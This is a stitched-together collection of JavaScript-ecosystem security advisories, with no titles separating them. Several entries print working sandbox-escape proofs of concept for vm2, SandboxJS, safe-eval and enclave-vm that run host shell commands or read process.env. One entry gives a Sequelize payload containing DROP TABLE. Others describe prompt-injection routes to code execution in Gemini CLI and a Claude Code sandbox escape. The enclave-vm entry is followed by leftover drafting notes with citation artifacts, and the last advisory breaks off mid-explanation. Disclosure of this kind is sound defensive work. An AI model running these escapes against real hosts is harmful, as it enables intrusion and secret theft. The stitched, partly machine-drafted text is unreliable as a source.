### Summary
A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.

### Details
Even though the key used in property accesses (```b``` in the code below) is annotated as ```string```, this is never enforced:
https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304
So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using ```hasOwnProperty(key)``` and a different one for when the key is used for the actual property access.

### PoC
```js
const Sandbox = require('@nyariv/sandboxjs').default;

const code = `
let a = new Map;
a.x = 23;
let count = 0;

let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}}
let mapProt = a[nastyProp];
mapProt.has = isFinite;
console.log(
 isFinite.constructor(
 "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
 )(),
);`;
const scope = {};
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
exec(scope).run(); 
```

### Impact
Remote code execution, if attacker can execute code inside the sandbox.

### Impact

The SQL injection exploit is related to replacements. Here is such an example: 

In the following query, some parameters are passed through replacements, and some are passed directly through the `where` option.

```typescript
User.findAll({
  where: or(
    literal('soundex("firstName") = soundex(:firstName)'),
    { lastName: lastName },
  ),
  replacements: { firstName },
})
```

This is a very legitimate use case, but this query was vulnerable to SQL injection due to how Sequelize processed the query: Sequelize built a first query using the `where` option, then passed it over to `sequelize.query` which parsed the resulting SQL to inject all `:replacements`.

If the user passed values such as

```json
{
  "firstName": "OR true; DROP TABLE users;",
  "lastName": ":firstName"
}
```

Sequelize would first generate this query:

```sql
SELECT * FROM users WHERE soundex("firstName") = soundex(:firstName) OR "lastName" = ':firstName'
```

Then would inject replacements in it, which resulted in this:

```sql
SELECT * FROM users WHERE soundex("firstName") = soundex('OR true; DROP TABLE users;') OR "lastName" = ''OR true; DROP TABLE users;''
```

As you can see this resulted in arbitrary user-provided SQL being executed.

### Patches

The issue was fixed in Sequelize 6.19.1

### Workarounds

Do not use the `replacements` and the `where` option in the same query if you are not using Sequelize >= 6.19.1 

### References

See this thread for more information: https://github.com/sequelize/sequelize/issues/14519

Snyk: https://security.snyk.io/vuln/SNYK-JS-SEQUELIZE-2932027

### Impact

A vulnerability in `TimelockController` allowed an actor with the executor role to take immediate control of the timelock, by resetting the delay to 0 and escalating privileges, thus gaining unrestricted access to assets held in the contract. Instances with the executor role set to "open" allow anyone to use the executor role, thus leaving the timelock at risk of being taken over by an attacker.

### Patches

A fix is included in the following releases of `@openzeppelin/contracts` and `@openzeppelin/contracts-upgradeable`:
- 4.3.1
- 3.4.2
- 3.4.2-solc-0.7

Deployed instances of `TimelockController` should be replaced with a fixed version by migrating all assets, ownership, and roles.

### Workarounds

Revoke the executor role from accounts not strictly under the team's control. We recommend revoking all executors that are not also proposers. When applying this mitigation, ensure there is at least one proposer and executor remaining.

### References

[Post-mortem](https://forum.openzeppelin.com/t/timelockcontroller-vulnerability-postmortem/14958).

### Credits

The issue was identified by an anonymous white hat hacker through [Immunefi](https://immunefi.com/).

### For more information

If you have any questions or comments about this advisory, or need assistance executing the mitigation, email us at security@openzeppelin.com.


### Impact

By crafting a specific URL, it is possible to escape the prefix of the proxied backend service.
If the base url of the proxied server is `/pub/`, a user expect that accessing `/priv` on the target service would not be possible. Unfortunately, it is.

[CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)

### Patches

All releases after v4.3.1 include the fix.

### Workarounds

There are no workaround available.

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [fastify-reply-from](https://github.com/fastify/fastify-reply-from)
* Email us at [hello@matteocollina.com](mailto:hello@matteocollina.com)

All versions of the package safe-eval are vulnerable to Sandbox Bypass due to improper input sanitization. The vulnerability is derived from prototype pollution exploitation. Exploiting this vulnerability might result in remote code execution (RCE).

**Vulnerable functions:**

__defineGetter__, stack(), toLocaleString(), propertyIsEnumerable.call(),  valueOf().

### Impact
Due to the use of the [object destructuring assignment](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment) syntax in the user export code path, combined with a path traversal vulnerability, a specially crafted payload could invoke the user export logic to arbitrarily execute javascript files on the local disk.

### Patches
Patched in v2.8.7

### Workarounds
Site maintainers can cherry pick ec58700f6dff8e5b4af1544f6205ec362b593092 into their codebase to patch the exploit.

### Impact

There is an unauthenticated remote code execution vulnerability in React Server Components.

We recommend upgrading immediately.

The vulnerability is present in versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 of:
* [react-server-dom-webpack](https://www.npmjs.com/package/react-server-dom-webpack)
* [react-server-dom-parcel](https://www.npmjs.com/package/react-server-dom-parcel)
* [react-server-dom-turbopack](https://www.npmjs.com/package/react-server-dom-turbopack?activeTab=readme)

### Patches

A fix was introduced in versions [19.0.1](https://github.com/facebook/react/releases/tag/v19.0.1), [19.1.2](https://github.com/facebook/react/releases/tag/v19.1.2), and [19.2.1](https://github.com/facebook/react/releases/tag/v19.2.1). If you are using any of the above packages please upgrade to any of the fixed versions immediately.

If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.

### References

See the [blog post](https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components) for more information and upgrade instructions.

# Summary

Gemini CLI (`@google/gemini-cli`) and the `run-gemini-cli` GitHub Action are being updated to harden workspace trust and tool allowlisting, in particular when used in untrusted environments like GitHub Actions. This update introduces a breaking change to how non-interactive (headless) environments handle folder trust, which may impact existing CI/CD workflows under specific conditions.

# Details

Folder Trust in Headless Mode

In previous versions, Gemini CLI running in CI environments (headless mode) automatically trusted workspace folders for the purpose of loading configuration and environment variables. This is potentially risky in situations where Gemini CLI runs on untrusted folders in headless mode (e.g. CI workflows that review user-submitted pull requests). If used with untrusted directory contents, this could lead to remote code execution via malicious environment variables in the local `.gemini/` directory.

To ensure consistency and user control, the latest update aligns headless mode behavior with interactive mode, requiring folders to be explicitly trusted before configuration files (such as `.env`) are processed.

As a result of this change, GitHub Actions and other automated pipelines that rely on the previous automatic trust behavior will fail to load workspace-specific settings until they are updated to use explicit trust mechanisms.

Tool Allowlisting under \--yolo

In previous versions, when Gemini CLI was configured to run in `--yolo` mode, it would ignore any fine grained tool allowlist in `~/.gemini/settings.json` (e.g. `run_shell_command(echo)` would allow any command). This is potentially risky in situations where Gemini CLI runs on untrusted inputs with `--yolo` (e.g. CI workflows that triage user-submitted GitHub issues where we recommend a strict allowlist). If used with untrusted content and a tool allowlist that permits `run_shell_command`, this could lead to remote code execution via prompt injection.

In version `0.39.1`, the Gemini CLI policy engine now evaluates tool allowlisting under `--yolo` mode, which is useful for CI workflows that allowlist a few safe commands to run when processing untrusted inputs. As a result, some workflows that previously depended on this behavior may fail silently unless tool allowlists are modified to fit the task.

# Impact

This impact is limited to workflows using Gemini CLI in headless mode. Any use of Gemini CLI in headless mode without folder trust will require manual review to correctly configure folder trust. **This affects all Gemini CLI GitHub Actions.** Users must review their workflows, and take one of two approaches:

1\. If the workflow runs on trusted inputs (e.g. reviewing PRs from trusted collaborators), set `GEMINI_TRUST_WORKSPACE: 'true'` in your workflow.

2\. If the workflow runs on untrusted inputs, review our guidance in [google-github-actions/run-gemini-cli](https://github.com/google-github-actions/run-gemini-cli) to harden your workflow against malicious content, and set the environment variable.

# Patches

The folder trust and tool allowlisting mitigations are available in `@google/gemini-cli` version `0.39.1` and `0.40.0-preview.3`.  By default, the `run-gemini-cli` GitHub Action will receive and run the latest version of `gemini-cli`. However, if your workflow specifies a version of `gemini-cli` by setting the [gemini\_cli\_version](https://github.com/google-github-actions/run-gemini-cli#user-content-__input_gemini_cli_version), you are encouraged to upgrade to one of the patched versions and audit the workflow settings that use Gemini CLI.

# Credits

Gemini thanks the following security researchers for reporting this issue through the Vulnerability Rewards Program (g.co/vulnz):

* Elad Meged, Novee Security
* Dan Lisichkin, Pillar Security research team

A critical sandbox escape vulnerability exists in **enclave-vm** (affected: **< 2.6.0**, patched: **2.7.0**) that can allow untrusted, sandboxed JavaScript to execute arbitrary code in the **host Node.js runtime**.

When a tool invocation fails, enclave-vm exposes a **host-side Error object** to sandboxed code. This Error object retains its **host realm prototype chain**, which can be traversed to reach the **host `Function` constructor**:

`Error instance → Error.prototype → Error constructor → Function constructor`

With access to the host `Function` constructor, an attacker can compile and execute arbitrary JavaScript in the host context — bypassing the sandbox boundary and potentially gaining access to sensitive resources such as `process.env`, filesystem, and network.

This breaks enclave-vm’s core security guarantee of isolating untrusted code.

---

### Ecosystem Impact (FrontMCP / CodeCall)

**FrontMCP** is a TypeScript-first framework for building MCP servers, and the **CodeCall plugin** enables models to orchestrate large toolsets by generating and executing JavaScript plans.

**Enclave is the defense-in-depth sandbox layer behind CodeCall** (AST validation + runtime sandboxing). If you use FrontMCP **CodeCall** for agent tool execution, you should treat this as an urgent upgrade and ensure your runtime is on a patched enclave-vm version.

---

### Live Playground (Safe Exploration & Testing)

To explore Enclave’s execution model (AgentScript + tool calls) and validate your integration behavior, use the live playground:

- **EnclaveVM Playground:** https://enclave.agentfront.dev

This is the quickest way to understand the sandbox / tool-call flow and confirm your environment is running a patched setup.

---

### Timeline (Fast Fix)

- **Fix released:** `enclave-vm@2.7.0` (Jan 9, 2026)
- **Advisory published:** Jan 13, 2026

---

### Proof of Concept

> ⚠️ For defensive validation and maintainers. Do not run PoCs on hosts you don’t own/control.

<details>
<summary>Click to expand PoC</summary>

```javascript
// Vector 35: The Host Error Escape
// Purpose: Trigger a Host-side error and traverse its prototype chain
// to reach the Host Function constructor.

const s = (...args) => String.fromCharCode(...args);

const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);
const kCode = s(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,101,110,118);
const kPtype = s(112,114,111,116,111,116,121,112,101);

try {
 const ObjectProto = Object[kPtype];
 const lookup = ObjectProto[kLookup];
 const getProtoNative = lookup.call(ObjectProto, kProto);

 let hostError;
 try {
 await callTool('THIS_TOOL_DOES_NOT_EXIST_XYZ', {});
 } catch (e) {
 hostError = e;
 }

 const errProto = getProtoNative.call(hostError);
 const ErrorCtor = errProto[kCon];
 const HostFunc = ErrorCtor[kCon];

 const exploitFn = HostFunc(kCode);
 return exploitFn();
} catch (e) {
 return e.message;
}
````

</details>

---

### Mitigation / Remediation

**Immediate action:**

* Upgrade **enclave-vm** to **2.7.0+**

**Defense-in-depth guidance:**

* Re-create all Error objects crossing the sandbox boundary **inside the sandbox realm**
* Strip / freeze prototype chains of host objects
* Prevent access to host `Function` constructors
* Harden tool error handling to avoid leaking host-native objects

---

### References

* GitHub Security Advisory: [https://github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63](https://github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63)
* npm package: [https://www.npmjs.com/package/enclave-vm](https://www.npmjs.com/package/enclave-vm)
* Enclave repo: [https://github.com/agentfront/enclave](https://github.com/agentfront/enclave)
* FrontMCP docs: [https://agentfront.dev/docs](https://agentfront.dev/docs)
* CodeCall plugin overview: [https://agentfront.dev/docs/plugins/overview](https://agentfront.dev/docs/plugins/overview)
* EnclaveVM Playground: [https://enclave.agentfront.dev/](https://enclave.agentfront.dev)

```

Factual hooks (for correctness):
- GHSA page confirms **affected `<2.6.0`** and **patched `2.7.0`**, plus CVSS 10.0 and the exact vulnerability description. :contentReference[oaicite:0]{index=0} 
- FrontMCP docs explicitly describe **CodeCall** and that it uses **Enclave (AST validation + runtime sandboxing)**. :contentReference[oaicite:1]{index=1} 
- FrontMCP positioning (“TypeScript-first framework for MCP…”) is stated in the docs. :contentReference[oaicite:2]{index=2} 
- Enclave repo links the **Live Demo** at `enclave.agentfront.dev`. :contentReference[oaicite:3]{index=3} 
- Release listing shows `enclave-vm@2.7.0` dated **Jan 9** (fast fix signal). :contentReference[oaicite:4]{index=4}
::contentReference[oaicite:5]{index=5}

## Impact
A flaw in the `xml2js` library used to parse XML request bodies in n8n's webhook handler allowed prototype pollution via a crafted XML payload. An authenticated user with permission to create or modify workflows could exploit this to pollute the JavaScript object prototype and, by chaining the pollution with the Git node's SSH operations, achieve remote code execution on the n8n host.

## Patches
The issue has been fixed in n8n versions 1.123.32, 2.17.4, and 2.18.1. Users should upgrade to one of these versions or later to remediate the vulnerability.

## Workarounds
If upgrading is not immediately possible, administrators should consider the following temporary mitigations:
- Limit workflow creation and editing permissions to fully trusted users only.

These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.

---
n8n has adopted CVSS 4.0 as primary score for all security advisories. CVSS 3.1 vector strings are provided for backwards compatibility.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

### Summary

Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server.

### Details

Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server. A remote attacker with access to the Strapi admin panel can inject a crafted payload that executes code on the server into an email template that bypasses the validation checks that should prevent code execution.

### IoC

Using just the request log files, the only IoC to search for is a `PUT` request to URL path `/users-permissions/email-templates`. This IoC only indicates that a Strapi email template was modified on your server and by itself does not indicate if your Strapi server has been compromised. If this IoC is detected, you will need to manually review your email templates on your Strapi server and backups of your database to see if any of the templates contain a `lodash` template delimiter (eg. `<%STUFF HERE%>`) that contains suspicious JavaScript code. Generally speaking these templates should look like the following, you may have minor adjustments but any unrecognized code should be considered suspicious.

Reset Password Template:

```html
We heard that you lost your password. Sorry about that!

But don’t worry! You can use the following link to reset your password:
<%= URL %>?code=<%= TOKEN %>

Thanks.
```

Email Confirmation Template:

```html
Thank you for registering!

You have to confirm your email address. Please click on the link below.

<%= URL %>?confirmation=<%= CODE %>

Thanks.
```

Specifically you should look for odd code contained within the `<%STUFF HERE%>` blocks as this is what is used to bypass the lodash templating system. If you find any code that is not a variable name, or a variable name that is not defined in the template you are most likely impacted and should take immediate steps to confirm there are no malicious applications running on your servers.

### Impact

All users on Strapi below 4.5.6 with access to the admin panel and the ability to modify the email templates

Versions of `apex-publish-static-files` before 2.0.1 are vulnerable to command injection. This is exploitable if user input is passed into the `connectString` option in the `publish` method.


## Recommendation

Update to version 2.0.1 or later.

### Summary

It is possible to reach `BaseHandler.getPrototypeOf`, which can be used to get arbitrary prototypes

### Details

https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658

`BaseHandler` can be reached via `util.inspect` (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)

### PoC
```js
let obj = {
	subarray: Buffer.prototype.inspect,
	slice: Buffer.prototype.slice,
	hexSlice: () => '',
};

let sym;

obj.slice(10, {
	showHidden: true,
	showProxy: true,
	depth: 10,
	stylize(a) {
		const handler = this.seen && this.seen[1];

		if (handler && handler.getPrototypeOf) {
			gP = handler.getPrototypeOf;
			HObjectProto = gP(gP(gP(gP(Buffer))));
			HObject = HObjectProto.constructor;
			sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
		}
		return a;
	},
});

obj = {
	[sym]: (depth, opt, inspect) => {
		inspect.constructor('return process')()
		.getBuiltinModule('child_process')
		.execSync('id', { stdio: 'inherit' });
	},
	valueOf: undefined,
	constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});
```

### Impact
Sandbox Escape -> RCE

### Impact
A threat actor can bypass the sandbox protections to gain remote code execution rights on the host running the sandbox.

### Patches
This vulnerability was patched in the release of version `3.9.11` of `vm2`

### Workarounds
None. 

### References
Github Issue - https://github.com/patriksimek/vm2/issues/467
The file that was patched - https://github.com/patriksimek/vm2/blob/master/lib/setup-sandbox.js#L71
The commit with the patch - https://github.com/patriksimek/vm2/commit/d9a7f3cc995d3d861e1380eafb886cb3c5e2b873#diff-b1a515a627d820118e76d0e323fe2f0589ed50a1eacb490f6c3278fe3698f164

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [VM2](https://github.com/patriksimek/vm2)

 


### Summary
By combining `Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")`, `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox.
This allows attackers to run arbitrary code.

### PoC
```js
"use strict";

const { VM } = require("vm2");
const vm = new VM();

vm.run(`
  "use strict";

  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");

  async function f() {
    try {
      await WebAssembly.compileStreaming();
    } catch(e) {
      setProto.call(getProto.call(e), null);
    }

    try {
      await WebAssembly.compileStreaming();
    } catch(e) {
      const HostFunction = e.constructor.constructor;
      new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
    }
  }

  f();
`);
```

### Impact
Sandbox Escape → RCE

## Summary

`NodeVM` blocks several dangerous Node.js builtins such as `module`, `worker_threads`, `cluster`, `vm`, `repl`, and `inspector`.

However, the denylist misses `process` and `inspector/promises`. Both can be used from sandboxed code to reach host-side execution primitives.

This allows sandboxed code to bypass the intended builtin restrictions and execute code in the host process.

## Details

The dangerous builtin denylist is defined in `lib/builtin.js`. This list does not include:

```text
process
inspector/promises
```

Non-denied builtins are exposed to the sandbox through:

```js
builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));
```

Because of this, sandboxed code can bypass the expected restrictions in two ways:

1. `require('process').getBuiltinModule('child_process')` reloads `child_process`, even when `child_process` is excluded.
2. `require('inspector/promises')` exposes the Inspector protocol and can call `Runtime.evaluate` in the host process.

## PoC

Tested on:

```text
vm2: 3.11.2
Node.js: v25.9.0
```

Run from the vm2 repository root:

```bash
node poc/dangerous-builtin-denylist-rce.js
```
[dangerous-builtin-denylist-rce.js](https://github.com/user-attachments/files/27570113/dangerous-builtin-denylist-rce.js)


The PoC first confirms the intended restrictions work:

```text
require("inspector"): BLOCKED
require("child_process"): BLOCKED
```

Then it bypasses them:

```text
require("process").getBuiltinModule("child_process").execFileSync(...)
```

This spawns a host child process. It also confirms:

```text
require("inspector/promises").Session().post("Runtime.evaluate", ...)
```

This evaluates JavaScript in the host process.

<img width="858" height="766" alt="Screenshot 2026-05-10 at 11 53 33 AM" src="https://github.com/user-attachments/assets/7614aecb-5ffd-4c41-bfe8-e1fcb3b1bb59" />

## Impact

An attacker who can run untrusted JavaScript inside `NodeVM` with affected builtin settings can escape the sandbox and execute arbitrary code in the host process.

This can lead to full compromise of the application process, including reading files, writing files, spawning processes, and accessing host environment secrets.

(This is not reachable with the default NodeVM configuration where require is disabled or no affected builtins are allowed. It affects applications that allow process, inspector/promises, or the wildcard "*" in require.builtin.)

## Suggested fix

Add `process` and `inspector/promises` to the dangerous builtin blocklist.

Also consider blocking dangerous builtin families by prefix, for example blocking both:

```text
inspector
inspector/*
```

instead of only exact module names.

## Impact
When `@n8n/mcp-browser` is run in HTTP transport mode, the MCP endpoint accepts session initialization and tool invocation requests without any authentication. Any network-reachable client, or any website visited by the user, can establish an MCP session and invoke browser-control tools.

Where the n8n AI Browser Bridge extension is installed and a browser connection is active, an unauthenticated caller can access browser-control capabilities including navigation, JavaScript evaluation, and cookie and storage access against the user's real browser profile.

This issue only affects instances where `@n8n/mcp-browser` is run with the HTTP transport (`--transport http`). The default transport is stdio, which is not affected.

## Patches
The issue has been fixed in n8n versions 2.25.7, and 2.26.2. Users should upgrade to one of these versions or later to remediate the vulnerability.

## Workarounds
If upgrading is not immediately possible, administrators should consider the following temporary mitigations:
- Avoid running `@n8n/mcp-browser` with the HTTP transport; use the default stdio transport instead.
- If HTTP transport is required, restrict network access to the listening port to trusted clients only using host-based firewall rules.

These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.

## Summary
The TypeScript Nunjucks renderer evaluated untrusted `.prompty` template bodies with unrestricted JavaScript member access. An attacker-controlled template could traverse constructor and prototype properties to execute JavaScript in the host Node.js process.

## Affected packages
- npm `@prompty/core` versions `<= 0.1.4`
- npm `@prompty/core` versions `<= 2.0.0-beta.4`

## Impact
Applications that render untrusted, community-supplied, cloned, or LLM-generated `.prompty` files with the TypeScript runtime could allow attacker-controlled code execution with the privileges of the Node.js host process.

## Remediation
Upgrade to `@prompty/core` `2.0.0-beta.5` or later. The patched renderer sanitizes render inputs to own-data-only values, rejects constructor/prototype member traversal, and disallows template function calls. Ordinary interpolation, conditionals, loops, and own nested data properties remain supported.

## Fix details
The fix is merged in PR #404 and includes regression coverage for default Nunjucks rendering, explicit renderer usage, unsafe member lookups, and attempted template function calls.

Node-SAML loads the assertion from the (unsigned) original response document. This is different than the parts that are verified when checking signature.

This allows an attacker to modify authentication details within a valid SAML assertion. For example, in one attack it is possible to remove any character from the SAML assertion username.

To conduct the attack an attacker would need a validly signed document from the identity provider (IdP).

In fixing this we made sure to process the SAML assertions from only verified/authenticated contents. This will prevent future variants from coming up. 

Note: this is distinct from the previous xml-crypto CVEs.

Affected versions of `safe-eval` are vulnerable to a sandbox escape. By accessing object constructors, un-sanitized user input can access the entire standard library and effectively break out of the sandbox. 

## Proof of Concept:
This code accesses the process object and calls `.exit()`
```js
var safeEval = require('safe-eval');
safeEval("this.constructor.constructor('return process')().exit()");
```


## Recommendation

Update to version 0.4.0 or later

Server-Side Request Forgery (SSRF) in GitHub repository vriteio/vrite prior to 0.3.0.

Claude Code's sandbox did not prevent sandboxed processes from creating symlinks pointing to locations outside the workspace. When Claude Code subsequently wrote to a path within such a symlink, its unsandboxed process followed the symlink and wrote to the target location outside the workspace without prompting the user for confirmation. This allowed a sandbox escape where neither the sandboxed command nor the unsandboxed app could independently write outside the workspace, but their combination could write to arbitrary locations, potentially leading to code execution outside the sandbox. Reliably exploiting this required the ability to add untrusted content into a Claude Code context window to trigger sandboxed code execution via prompt injection.

Users on standard Claude Code auto-update have received this fix automatically. Users performing manual updates are advised to update to the latest version.

Claude Code thanks hackerone.com/philts for reporting this issue.

### Summary

`@vitejs/plugin-rsc` vendors `react-server-dom-webpack`, which contained an unauthenticated remote code execution vulnerability in versions prior to 19.0.1, 19.1.2, and 19.2.1. See details in React repository's advisory https://github.com/facebook/react/security/advisories/GHSA-fv66-9v8q-g76r

### Impact

Applications using affected versions of `@vitejs/plugin-rsc` are vulnerable to unauthenticated remote code execution through deserialization of untrusted data. An attacker can execute arbitrary code remotely without authentication, affecting confidentiality, integrity, and availability.

### Recommendations

Upgrade immediately to `@vitejs/plugin-rsc@0.5.3` or later.

### Workarounds

Applications not using server-side React or React Server Components are unaffected.

### Note
GitHub incorrectly stated this vulnerability is identical to CVE-2025-69970, which describes the fact that authentication is disabled by default. This advisory describes an exploit chain that enables authentication bypass via the heartbeat refresh endpoint when authentication is enabled. This misleads users into thinking that enabling authentication would mitigate this vulnerability. Please see the patch for more information: https://github.com/frangoteam/FUXA/commit/fe82348d160904d0013b9a3e267d50158f5c7afb.

### Description
An authentication bypass vulnerability in FUXA allows an unauthenticated, remote attacker to gain administrative access via the heartbeat refresh API and execute arbitrary code on the server. This affects FUXA through version 1.2.9 when authentication is enabled. This issue has been patched in FUXA version 1.2.10.

### Impact
Affected deployments are those with `runtime.settings.secureEnabled` set to `true`.

Exploitation allows an unauthenticated, remote attacker to bypass all authentication mechanisms and obtain administrative access to the FUXA instance by minting administrator JWTs via the heartbeat refresh endpoint. With these elevated privileges, the attacker can interact with administrative APIs, including intended features designed for automation and scripting, to execute arbitrary code in the context of the FUXA service. Depending on deployment configuration and permissions, this may lead to full system compromise and could further expose connected ICS/SCADA environments to follow-on actions.

### Patches
This issue has been patched in FUXA version 1.2.10. Users are strongly encouraged to update to the latest available release.

A vulnerability affects certain React packages1 for versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as [CVE-2025-55182](https://www.cve.org/CVERecord?id=CVE-2025-55182). 

Fixed in:
React: 19.0.1, 19.1.2, 19.2.1
Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7, 15.6.0-canary.58, 16.1.0-canary.12+

The vulnerability also affects experimental canary releases starting with 14.3.0-canary.77. Users on any of the 14.3 canary builds should either downgrade to a 14.x stable release or 14.3.0-canary.76.

All users of stable 15.x or 16.x Next.js versions should upgrade to a patched, stable version immediately.

1 The affected React packages are:
- react-server-dom-parcel
- react-server-dom-turbopack
- react-server-dom-webpack

Prototype Pollution in GitHub repository automattic/mongoose prior to 7.3.3, 6.11.3, and 5.13.20.

### Summary

Default configuration does not check authorization of the signer, it only checks the validity of the signature per section 3.2.2 of https://www.w3.org/TR/2008/REC-xmldsig-core-20080610/#sec-CoreValidation. As such, without additional validation steps, the default configuration allows a malicious actor to re-sign an XML document, place the certificate in a `<KeyInfo />` element, and pass `xml-crypto` default validation checks.

### Details

Affected `xml-crypto` versions between versions `>= 4.0.0` and `< 6.0.0`. 

`xml-crypto` trusts by default any certificate provided via digitally signed XML document's `<KeyInfo />`.

`xml-crypto` prefers to use any certificate provided via digitally signed XML document's `<KeyInfo />` even if library was configured to use specific certificate (`publicCert`) for signature verification purposes.

Attacker can spoof signature verification by modifying XML document and replacing existing signature with signature generated with malicious private key (created by attacker) and by attaching that private key's certificate to `<KeyInfo />` element.

Vulnerability is combination of changes introduced to `4.0.0` at
* https://github.com/node-saml/xml-crypto/pull/301
* https://github.com/node-saml/xml-crypto/commit/c2b83f984049edb68ad1d7c6ad0739ec92af11ca

Changes at PR provided default method to extract certificate from signed XML document.
* https://github.com/node-saml/xml-crypto/blob/c2b83f984049edb68ad1d7c6ad0739ec92af11ca/lib/signed-xml.js#L405-L414
* https://github.com/node-saml/xml-crypto/blob/c2b83f984049edb68ad1d7c6ad0739ec92af11ca/lib/signed-xml.js#L334

and changes at PR prefer output of that method to be used as certificate for signature verification even in the case when library is configured to use specific/pre-configured `signingCert`
* https://github.com/node-saml/xml-crypto/blob/c2b83f984049edb68ad1d7c6ad0739ec92af11ca/lib/signed-xml.js#L507

Name of the `signingCert` was changed later (but prior to `4.0.0` release) to `publicCert`:
* https://github.com/node-saml/xml-crypto/commit/78329fbae34c9b25ba25882604e960f506d7c0e7
* https://github.com/node-saml/xml-crypto/blob/78329fbae34c9b25ba25882604e960f506d7c0e7/lib/signed-xml.js#L507

Issue was fixed to `6.0.0` by disabling implicit usage of default `getCertFromKeyInfo` implementation:
* https://github.com/node-saml/xml-crypto/pull/445
* https://github.com/node-saml/xml-crypto/commit/21201723d2ca9bc11288f62cf72552b7d659b000

Possible workarounds for versions 4.x and 5.x:
- Check the certificate extracted via `getCertFromKeyInfo` against trusted certificates before accepting the results of the validation.
- Set `xml-crypto`'s `getCertFromKeyInfo` to `() => undefined` forcing `xml-crypto` to use an explicitly configured `publicCert` or `privateKey` for signature verification.

### PoC

https://github.com/node-saml/xml-crypto/discussions/399

### Impact

An untrusted certificate can be used to pass a malicious XML payload through an improperly configured installation of `xml-crypto`.

### Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

### Details

The `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.

### PoC

```js
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
class E extends Error {}
function so(d) {
	if (d > 0) so(d-1);
	const e = new E();
	e.stack;
	throw e;
}
let ex, ct;
class FakePromise extends Promise {
	static get [Symbol.species](){return ct;}
}
function doCatch(f) {
	ex=undefined;
	const p=Promise.withResolvers();
	ct = function(e){e(f, v=>{ex=v;p.resolve();})};
	new FakePromise(r=>r());
	return p.promise;
}
(async function f(s) {
	let min = s;
	let max = 100000;
	while (min<max) {
		const mid = (min+max)>>1;
		await doCatch(()=>so(mid));
		if (ex.name==="RangeError" && !(ex instanceof RangeError)) {
			ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
			return;
		}
		if (ex instanceof E) {
			min = mid+1;
		} else {
			max = mid;
		}
	}
	f(s+1);
})(0);
`);
```

### Impact

Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

### Summary
SandboxJS blocks direct assignment to global objects (for example `Math.random = ...`), but this protection can be bypassed through an exposed callable constructor path: `this.constructor.call(target, attackerObject)`. Because `this.constructor` resolves to the internal `SandboxGlobal` function and `Function.prototype.call` is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process.

### Details
The intended safety model relies on write-time checks in assignment operations. In `assignCheck`, writes are denied when the destination is marked global (`obj.isGlobal`), which correctly blocks straightforward payloads like `Math.random = () => 1`.

Reference: [`src/executor.ts#L215-L218`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/executor.ts#L215-L218)

```ts
if (obj.isGlobal) {
  throw new SandboxAccessError(
    `Cannot ${op} property '${obj.prop.toString()}' of a global object`,
  );
}
```

The bypass works because the dangerous write is not performed by an assignment opcode. Instead, attacker code reaches a host callable that performs writes internally. The constructor used for sandbox global objects is `SandboxGlobal`, implemented as a function that copies all keys from a provided object into `this`.

